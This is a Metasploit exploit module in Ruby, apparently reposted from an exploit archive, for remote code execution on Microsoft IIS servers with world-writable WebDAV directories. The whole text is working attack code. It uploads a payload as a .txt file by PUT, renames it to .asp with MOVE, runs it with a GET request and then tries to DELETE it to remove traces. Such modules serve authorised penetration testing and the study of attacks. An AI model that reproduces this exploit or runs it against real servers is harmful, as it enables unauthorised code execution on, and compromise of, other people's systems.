Microsoft IIS WebDAV Write Access Code Execution

`##  
# $Id: iis_webdav_upload_asp.rb 8413 2010-02-08 19:12:59Z hdm $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize  
super(  
'Name' => 'Microsoft IIS WebDAV Write Access Code Execution',  
'Version' => '$Revision: 8413 $',  
'Description' => %q{  
This module can be used to execute a payload on IIS servers that  
have world-writeable directories. The payload is uploaded as an ASP  
script using a WebDAV PUT request.  
},  
'Author' => 'hdm',  
'Platform' => 'win',  
'References' =>  
[  
['OSVDB', '397'],  
['BID', '12141']  
],  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0  
)  
  
register_options(  
[  
OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp'])  
], self.class)  
end  
  
def exploit  
  
# Generate the ASP containing the EXE containing the payload  
asp = Msf::Util::EXE.to_win32pe_asp(framework,payload.encoded)  
path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s)  
path_tmp = path.gsub(/\....$/, ".txt")  
  
#  
# UPLOAD  
#  
print_status("Uploading #{asp.length} bytes to #{path_tmp}...")  
  
res = send_request_cgi({  
'uri' => path_tmp,  
'method' => 'PUT',  
'ctype' => 'application/octet-stream',  
'data' => asp,  
}, 20)  
  
if (! res)  
print_status("Upload failed on #{path_tmp} [No Response]")  
return  
end  
  
if (res.code < 200 or res.code >= 300)  
print_status("Upload failed on #{path_tmp} [#{res.code} #{res.message}]")  
case res.code  
when 401  
print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")  
end  
return  
end  
  
#  
# MOVE  
#  
print_status("Moving #{path_tmp} to #{path}...")  
  
res = send_request_cgi({  
'uri' => path_tmp,  
'method' => 'MOVE',  
'headers' => {'Destination' => path}  
}, 20)  
  
if (! res)  
print_status("Move failed on #{path_tmp} [No Response]")  
return  
end  
  
if (res.code < 200 or res.code >= 300)  
print_status("Move failed on #{path_tmp} [#{res.code} #{res.message}]")  
case res.code  
when 401  
print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")  
when 403  
print_status("Warning: The web site may not allow 'Script Source Access', which is required to upload executable content.")  
end  
return  
end  
  
#  
# EXECUTE  
#  
print_status("Executing #{path}...")  
  
res = send_request_cgi({  
'uri' => path,  
'method' => 'GET'  
}, 20)  
  
if (! res)  
print_status("Execution failed on #{path} [No Response]")  
return  
end  
  
if (res.code < 200 or res.code >= 300)  
print_status("Execution failed on #{path} [#{res.code} #{res.message}]")  
return  
end  
  
  
  
#  
# DELETE  
#  
print_status("Deleting #{path}, this doesn't always work...")  
  
res = send_request_cgi({  
'uri' => path,  
'method' => 'DELETE'  
}, 20)  
if (! res)  
print_status("Deletion failed on #{path} [No Response]")  
return  
end  
  
if (res.code < 200 or res.code >= 300)  
print_status("Deletion failed on #{path} [#{res.code} #{res.message}]")  
return  
end  
  
handler  
end  
  
end  
  
`